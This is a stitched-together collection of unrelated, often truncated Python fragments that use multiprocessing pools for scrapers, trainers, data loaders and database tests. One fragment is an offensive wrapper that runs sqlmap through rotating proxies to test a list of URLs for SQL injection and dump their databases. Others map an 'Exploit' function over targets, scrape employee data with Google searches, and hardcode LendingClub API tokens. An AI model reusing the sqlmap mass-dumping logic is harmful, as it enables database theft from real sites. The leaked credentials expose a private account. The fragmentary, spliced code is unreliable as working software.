def update_current_popularity(addr_and_id, conn, doBackup, doLog, proxy,
num_processes):
formatted_address_list = addr_and_id[
0] #formatted addresses of all open valid stores
open_ids = addr_and_id[1][0]
closed_ids = addr_and_id[1][1]
print("LEN OPEN: ", len(open_ids), "LEN CLOSED: ", len(closed_ids))
global BACKUP
global LOG
if ((num_processes is None) == True):
print("without processes")
#for ind in range(10):
for ind in range(len(formatted_address_list)):
place_data = lpt.get_populartimes_by_formatted_address(
formatted_address_list[ind], proxy)
log = update_row(conn, place_data, open_ids[ind])
if doBackup == True:
BACKUP.write(json.dumps(place_data, indent=4))
BACKUP.write("\r\n")
if doLog == True:
for entry in log:
LOG.write(entry)
LOG.write("\r\n")
cur = conn.cursor()
#clean up closed stores
cur.execute(
"UPDATE map_store SET live_busyness=NULL WHERE id IN {closed}".
format(closed=tuple(closed_ids)))
cur.commit()
else:
pool = Pool(num_processes)
place_data = {}
#for ind in range(len(formatted_address_list)):
for ind in range(len(formatted_address_list)):
place_data[ind] = pool.apply_async(
lpt.get_populartimes_by_formatted_address,
args=(
formatted_address_list[ind],
proxy,
))
pool.close()
for ind in range(len(formatted_address_list)):
try:
place_data[ind] = place_data[ind].get()
except:
try:
place_data[ind] = place_data[ind].get()
except:
continue #nest tries twice to catch bs
for ind in range(len(formatted_address_list)):
log = update_row(conn, place_data[ind], open_ids[ind])
#print("updated store iD ", open_ids[ind])
if doBackup == True:
BACKUP.write(json.dumps(place_data, indent=4))
BACKUP.write("\r\n")
if doLog == True:
for entry in log:
LOG.write(entry)
LOG.write("\r\n")
#clean up closed stores
cur = conn.cursor()
if len(closed_ids) == 1:
clean_closed = "UPDATE map_store SET live_busyness=NULL where id={closed_store}".format(
closed_store=closed_ids[0])
else:
clean_closed = "UPDATE map_store SET live_busyness=NULL WHERE id IN {closed}".format(
closed=tuple(closed_ids))
cur.execute(clean_closed)
conn.commit()
return
for url in toc_url:
toc_url_list.append(start_url + url)
return toc_url_list
def get_article(html):
chapter_name = re.search('size="4">(.*?)<', html, re.S).group(1)
text_block = re.search('<p>(.*?)</p>', html, re.S).group(1)
text_block = "".join(text_block.split(' ')).replace('<br />', ' ')
return chapter_name, text_block
def save(chapter, article):
os.makedirs('214玫瑰恋区', exist_ok=True)
with open(os.path.join('214玫瑰恋区', chapter + '.txt'), 'w',
encoding='utf-8') as f:
f.write(article)
def query_article(url):
article_html = get_source(url)
chapter_name, article_text = get_article(article_html)
save(chapter_name, article_text)
if __name__ == '__main__':
toc_html = get_source(start_url)
toc_list = get_toc(toc_html)
pool = Pool(4)
pool.map(query_article, toc_list)
def fit(self,
total_steps,
max_checkpoints_to_keep=5,
checkpoint_interval=600,
restore=False):
"""Train the policy.
Parameters
----------
total_steps: int
the total number of time steps to perform on the environment, across all rollouts
on all threads
max_checkpoints_to_keep: int
the maximum number of checkpoint files to keep. When this number is reached, older
files are deleted.
checkpoint_interval: float
the time interval at which to save checkpoints, measured in seconds
restore: bool
if True, restore the model from the most recent checkpoint and continue training
from there. If False, retrain the model from scratch.
"""
step_count = 0
workers = []
threads = []
for i in range(self.optimization_rollouts):
workers.append(_Worker(self, i))
if restore:
self.restore()
pool = Pool()
manager = tf.train.CheckpointManager(self._checkpoint,
self._model.model_dir,
max_checkpoints_to_keep)
checkpoint_time = time.time()
while step_count < total_steps:
# Have the worker threads generate the rollouts for this iteration.
rollouts = []
pool.map(lambda x: rollouts.extend(x.run()), workers)
# Perform optimization.
for epoch in range(self.optimization_epochs):
if self.batch_size == 0:
batches = rollouts
else:
batches = self._iter_batches(rollouts)
for batch in batches:
initial_rnn_states, state_arrays, discounted_rewards, actions_matrix, action_prob, advantages = batch
# Build the inputs and run the optimizer.
state_arrays = [np.stack(s) for s in state_arrays]
inputs = state_arrays + [
np.expand_dims(s, axis=0) for s in initial_rnn_states
]
self._apply_gradients(inputs, actions_matrix,
discounted_rewards, advantages,
action_prob)
# Update the number of steps taken so far and perform checkpointing.
new_steps = sum(len(r[3]) for r in rollouts)
if self.use_hindsight:
new_steps /= 2
step_count += new_steps
if step_count >= total_steps or time.time(
) >= checkpoint_time + checkpoint_interval:
manager.save()
checkpoint_time = time.time()
def get_fx_cross(self,
start,
end,
cross,
cut="NYC",
data_source="bloomberg",
freq="intraday",
cache_algo='internet_load_return',
type='spot',
environment='backtest',
fields=['close']):
if data_source == "gain" or data_source == 'dukascopy' or freq == 'tick':
return self.get_fx_cross_tick(start,
end,
cross,
cut=cut,
data_source=data_source,
cache_algo=cache_algo,
type='spot',
fields=fields)
if isinstance(cross, str):
cross = [cross]
market_data_request_list = []
freq_list = []
type_list = []
for cr in cross:
market_data_request = MarketDataRequest(freq_mult=1,
cut=cut,
fields=['close'],
freq=freq,
cache_algo=cache_algo,
start_date=start,
finish_date=end,
data_source=data_source,
environment=environment)
market_data_request.type = type
market_data_request.cross = cr
if freq == 'intraday':
market_data_request.gran_freq = "minute" # intraday
elif freq == 'daily':
market_data_request.gran_freq = "daily" # daily
market_data_request_list.append(market_data_request)
data_frame_agg = []
# Depends on the nature of operation as to whether we should use threading or multiprocessing library
if constants.market_thread_technique is "thread":
from multiprocessing.dummy import Pool
else:
# Most of the time is spend waiting for Bloomberg to return, so can use threads rather than multiprocessing
# must use the multiprocess library otherwise can't pickle objects correctly
# note: currently not very stable
from multiprocess import Pool
thread_no = constants.market_thread_no['other']
if market_data_request_list[
0].data_source in constants.market_thread_no:
thread_no = constants.market_thread_no[
market_data_request_list[0].data_source]
# Fudge, issue with multithreading and accessing HDF5 files
# if self._market_data_generator.__class__.__name__ == 'CachedMarketDataGenerator':
# thread_no = 0
thread_no = 0
if (thread_no > 0):
pool = Pool(thread_no)
# Open the market data downloads in their own threads and return the results
df_list = pool.map_async(self._get_individual_fx_cross,
market_data_request_list).get()
data_frame_agg = self._calculations.iterative_outer_join(df_list)
# data_frame_agg = self._calculations.pandas_outer_join(result.get())
try:
pool.close()
pool.join()
except:
pass
else:
for md_request in market_data_request_list:
data_frame_agg.append(
self._get_individual_fx_cross(md_request))
data_frame_agg = self._calculations.pandas_outer_join(
data_frame_agg)
# Strip the nan elements
data_frame_agg = data_frame_agg.dropna(how='all')
# self.speed_cache.put_dataframe(key, data_frame_agg)
return data_frame_agg
else:
print('something wrong...')
except Exception as e:
print(e)
finally:
ch.basic_ack(delivery_tag=method.delivery_tag)
def parse_link(response):
content = response.content
selector = etree.HTML(content)
urls = selector.xpath('//img/@src')
urls = [url for url in urls if 'sinaimg' in url]
if urls:
for url in urls:
message('img', url)
else:
pass
def main():
receive(queue='link', func=fetch)
if __name__ == '__main__':
pool = Pool(10)
pool.apply_async(main)
pool.close()
pool.join()
def parallel_login_with_rbac_and_multiple_servers(self,
server,
user_count=10,
timeout=200):
"""Check that login of valid and invalid users works in parallel
using local users defined using RBAC and LDAP users authenticated using
multiple LDAP external user directories.
"""
with Given("I have two LDAP servers"):
entries = [(["openldap1"], []), (["openldap2"], [])]
with And("I define a group of users to be created on each LDAP server"):
user_groups = {
"openldap1_users": [{
"cn": f"openldap1_parallel_user{i}",
"userpassword": randomword(20)
} for i in range(user_count)],
"openldap2_users": [{
"cn": f"openldap2_parallel_user{i}",
"userpassword": randomword(20)
} for i in range(user_count)],
"local_users": [{
"cn": f"local_parallel_user{i}",
"userpassword": randomword(20)
} for i in range(user_count)]
}
with And("I have a list of checks that I want to run for each user group"):
checks = [
login_with_valid_username_and_password,
login_with_valid_username_and_invalid_password,
login_with_invalid_username_and_valid_password
]
with And(
"I create config file to define LDAP external user directory for each LDAP server"
):
config = create_entries_ldap_external_user_directory_config_content(
entries)
with ldap_external_user_directory(server=None,
roles=None,
restart=True,
config=config):
with ldap_users(*user_groups["openldap1_users"],
node=self.context.cluster.node("openldap1")):
with ldap_users(*user_groups["openldap2_users"],
node=self.context.cluster.node("openldap2")):
with rbac_users(*user_groups["local_users"]):
tasks = []
try:
with When(
"users in each group try to login in parallel",
description="""
* with valid username and password
* with invalid username and valid password
* with valid username and invalid password
"""):
p = Pool(15)
for i in range(25):
for users in user_groups.values():
for check in checks:
tasks.append(
p.apply_async(
check, (
users,
i,
50,
)))
finally:
with Then("it should work"):
join(tasks, timeout)
import time
import datetime
import requests
import sqlite3 as lite
import os
from multiprocessing.dummy import Pool
pool = Pool(processes=2)
#URL: https://api.lendingclub.com/api/investor/<version>/accounts/<investor id>/availablecash
#Authorization: Vkqakl1lAygRyXRwlKCOyHWG4DE
acctNum = 56732213
version = "v1"
auth = "JWHAUeua+ZDDGLsJzWIqagyVOEU="
reqAdd = "https://api.lendingclub.com/api/investor/" + version + "/accounts/" + str(
acctNum) + "/availablecash"
# Setup database information
dbPath = os.path.join(os.path.dirname(os.getcwd()), 'Python34',
'lctc.db.sqlite')
dbTable = 'lendingclub'
def test():
r = requests.get(reqAdd, headers={"Authorization": auth})
tempList = [
None,
str(time.strftime("%I:%M:%S")),
str(r.json()['availableCash'])
]
def main():
clients = {}
samples = {}
root_dir = os.path.abspath(sys.argv[1])
csv_path = os.path.abspath(
sys.argv[2]) if len(sys.argv) > 2 else 'samples.csv'
paths = glob.glob(root_dir + '/*')
print('Reading meta data of samples in directory "%s"...' % root_dir)
_print_progress(0, len(paths))
for i, client_dir in enumerate(paths):
_print_progress(i + 1, len(paths))
if not os.path.isdir(client_dir):
continue
client_id = client_dir.split('/')[-1]
client = Client(client_id)
clients[client_id] = client
for file_path in glob.glob(client_dir + '/*'):
if os.path.isdir(file_path):
continue
filename = file_path.split('/')[-1].lower()
name, ext = tuple(filename.split('.'))
#print('name: %s, ext: %s' % (name, ext))
if ext == 'json':
with open(file_path, 'r') as f:
jd = json.loads(f.read())
client.age = jd['age']
client.accent = jd['accent']
client.gender = jd['gender']
continue
sample_id = client_id + '-' + name.split('-')[0]
if sample_id in samples:
sample = samples[sample_id]
else:
sample = Sample(client, sample_id)
client.samples.append(sample)
samples[sample_id] = sample
if ext == 'vote':
with open(file_path, 'r') as f:
if f.read().strip().lower() == 'true':
sample.up_votes += 1
else:
sample.down_votes += 1
elif ext == 'txt':
with open(file_path, 'r') as f:
sample.text = f.read().strip()
elif ext == 'mp3':
sample.filename = file_path
print('Writing samples to "%s"...' % csv_path)
with open(csv_path, 'w') as csvfile:
fieldnames = [
'filename', 'text', 'up_votes', 'down_votes', 'age', 'gender',
'accent', 'duration'
]
writer = csv.DictWriter(csvfile, fieldnames=fieldnames)
writer.writeheader()
counter = {'value': 0, 'bad': 0}
lock = Lock()
items = samples.items()
num_samples = len(items)
_print_progress(0, num_samples)
def one_sample(item):
_, sample = item
with lock:
counter['value'] += 1
_print_progress(counter['value'], num_samples)
try:
duration = float(
subprocess.check_output(['soxi', '-D', sample.filename],
stderr=subprocess.STDOUT))
except Exception as ex:
counter['bad'] += 1
return
writer.writerow({
'filename': sample.filename,
'text': sample.text,
'up_votes': sample.up_votes,
'down_votes': sample.down_votes,
'age': sample.client.age,
'gender': sample.client.gender,
'accent': sample.client.accent,
'duration': duration
})
pool = Pool(cpu_count())
pool.map(one_sample, items)
pool.close()
pool.join()
print('Skipped %d missing or broken samples.' % counter['bad'])
def main():
"""Program entrance point"""
api_token = os.environ.get("POLLY_MERGE_BITBUCKET_API_TOKEN")
assert api_token, "Please set POLLY_MERGE_BITBUCKET_API_TOKEN!"
bitbucket_url = os.environ.get("POLLY_MERGE_BITBUCKET_URL")
assert bitbucket_url, "Please set POLLY_MERGE_BITBUCKET_URL!"
current_user_only_comments = bool(
distutils_util.strtobool(
os.environ.get("POLLY_MERGE_ANY_USER_COMMENT", "False")))
log_file = os.environ.get("POLLY_MERGE_LOG_FILE")
merge_trigger = os.environ.get("POLLY_MERGE_TRIGGER_COMMENT", "@polly")
auth_header = {"Authorization": "Bearer " + api_token}
# shared logging setup
logging_setup = {
"format": "%(asctime)s %(message)s",
"level": logging.INFO,
}
if log_file:
# output to specified log file if variable is set
logging_setup.update({"filename": log_file, "filemode": "a"})
else:
# default logging to stdout if no log file is specified
logging_setup.update({"stream": sys.stdout})
logging.basicConfig(**logging_setup)
bitbucket = BitbucketApi(base_url=bitbucket_url, auth_header=auth_header)
# 1. get all open pull requests
with Halo(text="Loading open PRs", spinner="dots",
stream=sys.stderr) as spinner:
pr_list = bitbucket.get_open_prs()
spinner.succeed()
# # DEBUG use when debugging json to dump to file and load
# print(json.dumps(pr_list))
# with open("prs2.json", "r") as pr_json:
# pr_list = json.load(pr_json)
# 2. for each open pull request, look for the key comment and attempt merge
# use multiprocessing.dummy.Pool to use threads instead of multiple
# processes; this is simpler than using normal multiprocessing, because we
# want to pass through the config options (from env variables), and
# multiprocessing needs a hashable callable to run Pool.map.
#
# using python threads is suitable here because the http calls are the
# blocking ones, so they do a decent job yielding. using a pool speeds this
# up dramatically if there's lots of open pr's, because we spend most of the
# time waiting on the server
def process_pr_wrapper(pr_data):
return bitbucket.process_pr(pr_data, merge_trigger,
current_user_only_comments)
# issue all the pr data requests simultaneously (up to 50). most won't
# require paging (>25 "activities") so this should be pretty good
with Halo(text="Checking PRs for merge comment",
spinner="dots",
stream=sys.stderr) as spinner:
with Pool(min(50, len(pr_list))) as pool:
results = pool.map(process_pr_wrapper, pr_list)
spinner.succeed()
# output results from process_pr_wrapper.
# the return value is a tuple:
# ('PR URL', (True/False <success code>, string <extra info>))
for merged in filter(None, results):
if merged[1][0]:
logging.info(f"Merged {merged[0]}")
else:
logging.info(f"Failed to merge {merged[0]} : {merged[1][1]}")
def test_replicated_balanced_merge_fetch(start_cluster):
try:
for i, node in enumerate([node1, node2]):
node.query("""
CREATE TABLE tbl (p UInt8, d String)
ENGINE = ReplicatedMergeTree('/clickhouse/tbl', '{}')
PARTITION BY p
ORDER BY tuple()
SETTINGS
storage_policy = 'jbod',
old_parts_lifetime = 1,
cleanup_delay_period = 1,
cleanup_delay_period_random_add = 2,
min_bytes_to_rebalance_partition_over_jbod = 1024,
max_bytes_to_merge_at_max_space_in_pool = 4096
""".format(i))
node.query("""
CREATE TABLE tmp1 (p UInt8, d String)
ENGINE = MergeTree
PARTITION BY p
ORDER BY tuple()
SETTINGS
storage_policy = 'jbod',
min_bytes_to_rebalance_partition_over_jbod = 1024,
max_bytes_to_merge_at_max_space_in_pool = 4096
""")
node.query("create table tmp2 as tmp1")
node2.query(
"alter table tbl modify setting always_fetch_merged_part = 1")
p = Pool(5)
def task(i):
print("Processing insert {}/{}".format(i, 200))
# around 1k per block
node1.query(
"insert into tbl select randConstant() % 2, randomPrintableASCII(16) from numbers(50)"
)
# Fill jbod disks with garbage data
node1.query(
"insert into tmp1 select randConstant() % 2, randomPrintableASCII(16) from numbers(50)"
)
node1.query(
"insert into tmp2 select randConstant() % 2, randomPrintableASCII(16) from numbers(50)"
)
node2.query(
"insert into tmp1 select randConstant() % 2, randomPrintableASCII(16) from numbers(50)"
)
node2.query(
"insert into tmp2 select randConstant() % 2, randomPrintableASCII(16) from numbers(50)"
)
p.map(task, range(200))
node2.query("SYSTEM SYNC REPLICA tbl", timeout=10)
check_balance(node1, "tbl")
check_balance(node2, "tbl")
finally:
for node in [node1, node2]:
node.query("DROP TABLE IF EXISTS tbl SYNC")
node.query("DROP TABLE IF EXISTS tmp1 SYNC")
node.query("DROP TABLE IF EXISTS tmp2 SYNC")
def parallel_apply(
func,
iterable,
workers,
max_queue_size,
callback=None,
dummy=False,
random_seeds=True
):
"""多进程或多线程地将func应用到iterable的每个元素中。
注意这个apply是异步且无序的，也就是说依次输入a,b,c，但是
输出可能是func(c), func(a), func(b)。
参数：
callback: 处理单个输出的回调函数；
dummy: False是多进程/线性，True则是多线程/线性；
random_seeds: 每个进程的随机种子。
"""
if dummy:
from multiprocessing.dummy import Pool, Queue
else:
from multiprocessing import Pool, Queue
in_queue, out_queue, seed_queue = Queue(max_queue_size), Queue(), Queue()
if random_seeds is True:
random_seeds = [None] * workers
elif random_seeds is None or random_seeds is False:
random_seeds = []
for seed in random_seeds:
seed_queue.put(seed)
def worker_step(in_queue, out_queue):
"""单步函数包装成循环执行
"""
if not seed_queue.empty():
np.random.seed(seed_queue.get())
while True:
i, d = in_queue.get()
r = func(d)
out_queue.put((i, r))
# 启动多进程/线程
pool = Pool(workers, worker_step, (in_queue, out_queue))
if callback is None:
results = []
# 后处理函数
def process_out_queue():
out_count = 0
for _ in range(out_queue.qsize()):
i, d = out_queue.get()
out_count += 1
if callback is None:
results.append((i, d))
else:
callback(d)
return out_count
# 存入数据，取出结果
in_count, out_count = 0, 0
for i, d in enumerate(iterable):
in_count += 1
while True:
try:
in_queue.put((i, d), block=False)
break
except six.moves.queue.Full:
out_count += process_out_queue()
if in_count % max_queue_size == 0:
out_count += process_out_queue()
while out_count != in_count:
out_count += process_out_queue()
pool.terminate()
if callback is None:
results = sorted(results, key=lambda r: r[0])
return [r[1] for r in results]
elif f_resume:
# load datas from previous sessions
sys.stdout.write(
colored('[+] loading datas from previous sessions: %s\n' % f_resume,
'green'))
with open(f_resume) as json_file:
t_results = json.load(json_file)
else:
# perform search on Google
for term in t_terms:
sys.stdout.write(
colored(
'[+] looking for employees on %s: %s\n' %
(mod.getName(), term.upper()), 'green'))
gg_search = mod.getDork(term)
pool = Pool(5)
pool.map(doMultiSearch, range(0, end_page))
pool.close()
pool.join()
# for i in range(start_page,end_page):
# sys.stdout.write( '[+] grabbing page %d/%d... ' % ((i+1),end_page) )
# s_results = goop.search( gg_search, fb_cookie, page=i )
# sys.stdout.write( '(%d)\n' % len(s_results) )
# for i in s_results:
# pseudo = mod.extractPseudoFromUrl( s_results[i]['url'] )
# if len(pseudo) and not pseudo in t_history:
# t_history.append( pseudo )
# t_results.append( s_results[i] )
def threads():
global dublicates
dublicates = []
new = False
try:
logfile = open(wrapper_config.LOG_FILE).read().splitlines()
except:
new = True
else:
if len(logfile) > 2:
for line in logfile:
if 'all work done' in line:
new = True
else:
new = True
if new:
if wrapper_config.DEBUG:
logging.basicConfig(level=logging.DEBUG,
filename=wrapper_config.LOG_FILE,
filemode='w')
print('starting new session')
try:
urls = open(wrapper_config.URLS_FILE).read().splitlines()
except IOError:
print('cant open %s check file' % wrapper_config.URLS_FILE)
sys.exit()
else:
if wrapper_config.DEBUG:
logging.basicConfig(level=logging.DEBUG,
filename=wrapper_config.LOG_FILE,
filemode='a')
print('detect previous session, restore')
try:
urls = open(wrapper_config.URLS_FILE).read().splitlines()
#print urls
except IOError:
print('cant open %s check file' % wrapper_config.URLS_FILE)
sys.exit()
for line in reversed(logfile):
if ':set' in line:
try:
lasturl = line.split(':set ')[1]
lasturl_index = urls.index(lasturl) + 1
except:
print('cant detect last url %s in task' % lasturl)
else:
print('detect last url in task %s' % lasturl)
break
try:
for url in urls[0:lasturl_index]:
if check_dump_folder(clean_url(url)):
make_txt_dump(clean_url(url),
log_num_parser(clean_url(url)))
remove_dump_folder(clean_url(url))
urls = urls[lasturl_index:]
except:
sys.exit()
proxies = []
if wrapper_config.PROXY:
if wrapper_config.PROXY_FILE:
proxies = open(wrapper_config.PROXY_FILE).read().splitlines()
print('get proxies from %s' % wrapper_config.PROXY_FILE)
for lim in range(0, len(urls), wrapper_config.URLS_LIMIT):
urls_chunk = urls[lim:lim + wrapper_config.URLS_LIMIT]
pool = Pool(wrapper_config.THREADS)
for index, url in enumerate(urls_chunk):
try:
position = len(urls) - urls.index(url)
except:
position = 0
if wrapper_config.Check_SQLi == True:
if wrapper_config.PROXY:
pool.apply_async(
sqli_check,
(clean_url(url), position, 56000, choice(proxies)))
else:
pool.apply_async(sqli_check,
(clean_url(url), position, 56000))
if wrapper_config.DUMP == True:
if wrapper_config.PROXY:
pool.apply_async(
sqlmap_check,
(clean_url(url), position, 56000, choice(proxies)))
else:
pool.apply_async(sqlmap_check,
(clean_url(url), position, 56000))
if wrapper_config.DUMP_ALL == True:
if wrapper_config.PROXY:
pool.apply_async(
sqlmap_dump_all,
(clean_url(url), position, 56000, choice(proxies)))
else:
pool.apply_async(sqlmap_dump_all,
(clean_url(url), position, 56000))
pool.close()
pool.join()
def sqlmap_check(url, pos, check_timeout, proxy=None):
print('set %s' % url)
print('left %s url(s)' % pos)
if proxy:
print('set proxy %s://%s' % (wrapper_config.PROXY_TYPE, proxy))
start_time = datetime.now().time()
if wrapper_config.PROXY and wrapper_config.PROXY_USERNAME and wrapper_config.PROXY_PASSWORD:
process = Popen([
'python',
'sqlmap.py',
'--url=%s' % url,
'--batch',
'--level=%s' % wrapper_config.LEVEL,
'--risk=%s' % wrapper_config.RISK,
'--random-agent',
'--threads=3',
'--count',
'--tamper=%s' % wrapper_config.TAMPER,
'--dump-format=CSV',
'--answers=quit=n,crack=n',
'--search',
'-C %s' % dump,
'--output-dir=%s' % wrapper_config.SQLMAP_DUMPS,
'--proxy=%s://%s' % (wrapper_config.PROXY_TYPE, proxy),
'--proxy-cred=%s:%s' %
(wrapper_config.PROXY_USERNAME, wrapper_config.PROXY_PASSWORD),
'--exclude-sysdbs',
'--timeout=%s' % wrapper_config.TIMEOUT,
'--retries=%s' % wrapper_config.RETRIES,
'--technique=EUSQ',
])
psu_process = Process(process.pid)
try:
psu_process.wait(check_timeout)
except TimeoutExpired:
pass
try:
psu_process.kill()
except:
pass
elif wrapper_config.PROXY:
process = Popen([
'python',
'sqlmap.py',
'--url=%s' % url,
'--batch',
'--level=%s' % wrapper_config.LEVEL,
'--risk=%s' % wrapper_config.RISK,
'--random-agent',
'--threads=3',
'--count',
'--tamper=%s' % wrapper_config.TAMPER,
'--dump-format=CSV',
'--answers=quit=n,crack=n',
'--search',
'-C %s' % dump,
#'--answers="quit=n, crack=n"'
'--output-dir=%s' % wrapper_config.SQLMAP_DUMPS,
#'--proxy=socks5://localhost:9091',
'--proxy=%s://%s' % (wrapper_config.PROXY_TYPE, proxy),
'--exclude-sysdbs',
'--timeout=%s' % wrapper_config.TIMEOUT,
'--retries=%s' % wrapper_config.RETRIES,
'--technique=EUSQ',
])
psu_process = Process(process.pid)
try:
psu_process.wait(check_timeout)
except TimeoutExpired:
pass
try:
psu_process.kill()
except:
pass
else:
process = Popen([
'python',
'sqlmap.py',
'--url=%s' % url,
'--batch',
'--time-sec=30',
'--level=%s' % wrapper_config.LEVEL,
'--risk=%s' % wrapper_config.RISK,
'--random-agent',
'--threads=3',
'--count',
'--tamper=%s' % wrapper_config.TAMPER,
'--search',
'-C %s' % dump,
'--dump-format=CSV',
'--answers=quit=n,crack=n',
'--output-dir=%s' % wrapper_config.SQLMAP_DUMPS,
#'--proxy=socks5://localhost:9091',
'--exclude-sysdbs',
'--timeout=%s' % wrapper_config.TIMEOUT,
'--retries=%s' % wrapper_config.RETRIES,
'--technique=EUSQ',
])
psu_process = Process(process.pid)
try:
psu_process.wait(check_timeout)
except TimeoutExpired:
pass
try:
psu_process.kill()
except:
pass
end_time = datetime.now().time()
if domains_dublicate(url):
print('detect domains dublicate %s pass it' % url)
return False
dbs_data = log_num_parser(url)
#print dbs_data
#sys.exit()
if dbs_data:
async_tables_pool = Pool()
for db, tables in dbs_data.items():
for table, num in tables.items():
for step in STEPS: #STEPS = [10,100, 300, 500, 1000, 1500, 2000, 3000, 5000, 10000, 20000, 50000, 100000]
if int(num) > step:
try:
async_tables_pool.apply_async(
sqlmap_dump(url, 56000, proxy))
except:
pass
'''
async_tables_pool.apply_async(
sqlmap_dump, (
url,
db,
table,
[(step - wrapper_config.DUMP_COLUMN_LIMIT + 1), step],
60,
proxy))
'''
else:
'''
print int(num),'int(num) < step'
async_tables_pool.apply_async(
sqlmap_dump(
url,
db,
table,
[(step - wrapper_config.DUMP_COLUMN_LIMIT + 1), step],
60,
proxy))
'''
break
async_tables_pool.close()
async_tables_pool.join()
if check_dump_folder(url):
make_txt_dump(url, log_num_parser(url))
end_time = datetime.now().time()
print('done/make txt dump for %s | start: %s | end: %s ' %
(url, start_time, end_time))
remove_dump_folder(url)
print('remove temp folder %s' % url)
def Main():
try:
pp = Pool(20)
pr = pp.map(Exploit, lists)
except:
pass
def lunar_scrape():
print('Downloading {} images...'.format(len(image_paths)))
Pool(4).map(download_and_save_image, image_paths)
def parallel_login_with_the_same_user_multiple_servers(self,
server,
timeout=200):
"""Check that valid and invalid logins of the same
user defined in multiple LDAP external user directories
works in parallel.
"""
with Given("I have two LDAP servers"):
entries = [(["openldap1"], []), (["openldap2"], [])]
with Given("I define only one LDAP user"):
users = [{"cn": f"parallel_user1", "userpassword": randomword(20)}]
with And(
"I create config file to define LDAP external user directory for each LDAP server"
):
config = create_entries_ldap_external_user_directory_config_content(
entries)
with ldap_external_user_directory(server=None,
roles=None,
restart=True,
config=config):
with ldap_users(*users, node=self.context.cluster.node("openldap1")):
with ldap_users(*users,
node=self.context.cluster.node("openldap2")):
tasks = []
try:
with When("the same user tries to login in parallel",
description="""
* with valid username and password
* with invalid username and valid password
* with valid username and invalid password
"""):
p = Pool(15)
for i in range(25):
tasks.append(
p.apply_async(
login_with_valid_username_and_password, (
users,
i,
50,
)))
tasks.append(
p.apply_async(
login_with_valid_username_and_invalid_password,
(
users,
i,
50,
)))
tasks.append(
p.apply_async(
login_with_invalid_username_and_valid_password,
(
users,
i,
50,
)))
finally:
with Then("it should work"):
join(tasks, timeout)
def __init__(self,
y0,
sigma,
f,
function_budget=10000,
function_target=None,
rng=np.random.RandomState(),
threads=1,
lmbd=None):
'''Initialization of the LMMAES
Args:
y0 (np.ndarray):
Initial candidate solution. A numpy array of dimension n.
Optimum should not be more distant than 3*step_size.
sigma (float):
Global step size or mutation strength.
f (function):
Fitness function, taking a candidate as input.
function_budget (int, optional):
Maximum number of function evaluations. Defaults to 10000.
If function_budget and function_target are not specified the
algorithm does not terminate automatically.
function_target (numeric, optional):
Target function value f(y*). If function_budget and function_target
are not specified the algorithm does not terminate automatically.
rng (class instance, optional):
Random number generator similar to numpy's np.random.RandomState().
Requires at least methods similar to np.randn and np.randint.
threads (int, optional):
The number of threads to use to evalutate candidates.
lmbd (int, optional):
Number of evolution paths, the rank of the covariance
matrix approximation. The value is tied to the number of
selected candidates by self.mu = self.lmbd//2, as well as
equal to the number of candidates self.m.
Setting this manually might offset some constants.
'''
super().__init__()
self.function_evals = 0
# set if required
self.function_budget = function_budget
self.function_target = function_target
# set random number generator
self.rng = rng
# initialize pool
self.pool = Pool(threads)
# 1: given
self.n = len(y0)
if lmbd != None:
self.lmbd = lmbd
else:
self.lmbd = int(4 + np.floor(3 * np.log(self.n)))
# otherwise tuning constants break - use standard CMA-ES instead :)
assert self.lmbd < self.n
self.mu = self.lmbd // 2
self.w = np.array(
[np.log(self.mu + 0.5) - np.log(i + 1) for i in range(self.mu)])
self.w /= np.sum(self.w)
self.mu_w = 1 / np.sum(np.square(self.w))
self.m = self.lmbd
self.c_sigma = (2 * self.lmbd) / self.n
self.c_d = np.zeros((self.m, ))
self.c_c = np.zeros((self.m, ))
for i in range(self.m):
self.c_d[i] = 1 / (np.power(1.5, i) * self.n)
self.c_c[i] = self.lmbd / (np.power(4.0, i) * self.n)
# 2: initialize
self.t = 0
self.y = y0
self.f = f
self.sigma = sigma
self.p_sigma = np.zeros((self.n, ))
self.M = np.zeros((self.m, self.n))
# useful values
self.c_sigma_update = np.sqrt(self.mu_w * self.c_sigma *
(2 - self.c_sigma))
self.c_c_update = np.sqrt(self.mu_w * self.c_c * (2 - self.c_c))
self.fd = np.zeros((self.lmbd, ))
# deviation from the paper
# damping constant
self.d_sigma = 2
# ~ expected length of normally distributed vector(not in use)
self.chi = np.sqrt(self.n) * (1 - (1 / (4 * self.n)) +
(1 / (21 * self.n * self.n)))
# number of generations till next uncertainty handling check
self.uncertainty_handling = 1
# number of fitness evaluations to average for uncertainty handling
self.averaging_f = 1.0
self.averaging = 1
self.targetnoise = 0.12 # relative rank change
self.S = 0.12
def parallel_apply(func,
iterable,
workers,
max_queue_size,
callback=None,
dummy=False):
"""多进程或多线程地将func应用到iterable的每个元素中。
注意这个apply是异步且无序的，也就是说依次输入a,b,c，但是
输出可能是func(c), func(a), func(b)。
参数：
dummy: False是多进程/线性，True则是多线程/线性；
callback: 处理单个输出的回调函数；
"""
if dummy:
from multiprocessing.dummy import Pool, Queue
else:
from multiprocessing import Pool, Queue
in_queue, out_queue = Queue(max_queue_size), Queue()
def worker_step(in_queue, out_queue):
# 单步函数包装成循环执行
while True:
d = in_queue.get()
r = func(d)
out_queue.put(r)
# 启动多进程/线程
pool = Pool(workers, worker_step, (in_queue, out_queue))
if callback is None:
results = []
# 后处理函数
def process_out_queue():
out_count = 0
for _ in range(out_queue.qsize()):
d = out_queue.get()
out_count += 1
if callback is None:
results.append(d)
else:
callback(d)
return out_count
# 存入数据，取出结果
in_count, out_count = 0, 0
for d in iterable:
in_count += 1
while True:
try:
in_queue.put(d, block=False)
break
except six.moves.queue.Full:
out_count += process_out_queue()
if in_count % max_queue_size == 0:
out_count += process_out_queue()
while out_count != in_count:
out_count += process_out_queue()
pool.terminate()
if callback is None:
return results
filename = file.split('TT')[0]
TTname = 'TT' + file.split('TT')[1]
if not gain_normalised:
# commands.append(['/opt/anaconda/bin/python', path+'Analysis_Scripts/ephys/rawTraces.py', path+filename,
# 'Traj', 'time_sorted', 'smooth:[2.0]', 'tt:['+TTname+']', 'useRecommended', 'noShow'])
#
# commands.append(['/opt/anaconda/bin/python', path+'Analysis_Scripts/ephys/rawTraces.py', path+filename,
# 'Traj', 'gain_sorted', 'smooth:[2.0]', 'tt:['+TTname+']', 'useRecommended', 'noShow'])
commands.append([
'/opt/anaconda/bin/python',
path + 'Analysis_Scripts/ephys/GC_RZ.py', path + filename,
'useRecommended', 'wfit', 'singleRuns', 'rate',
'smooth:[2.0]', 'tt:[' + TTname + ']', 'noSpeck', 'noShow'
])
else:
commands.append([
'/opt/anaconda/bin/python',
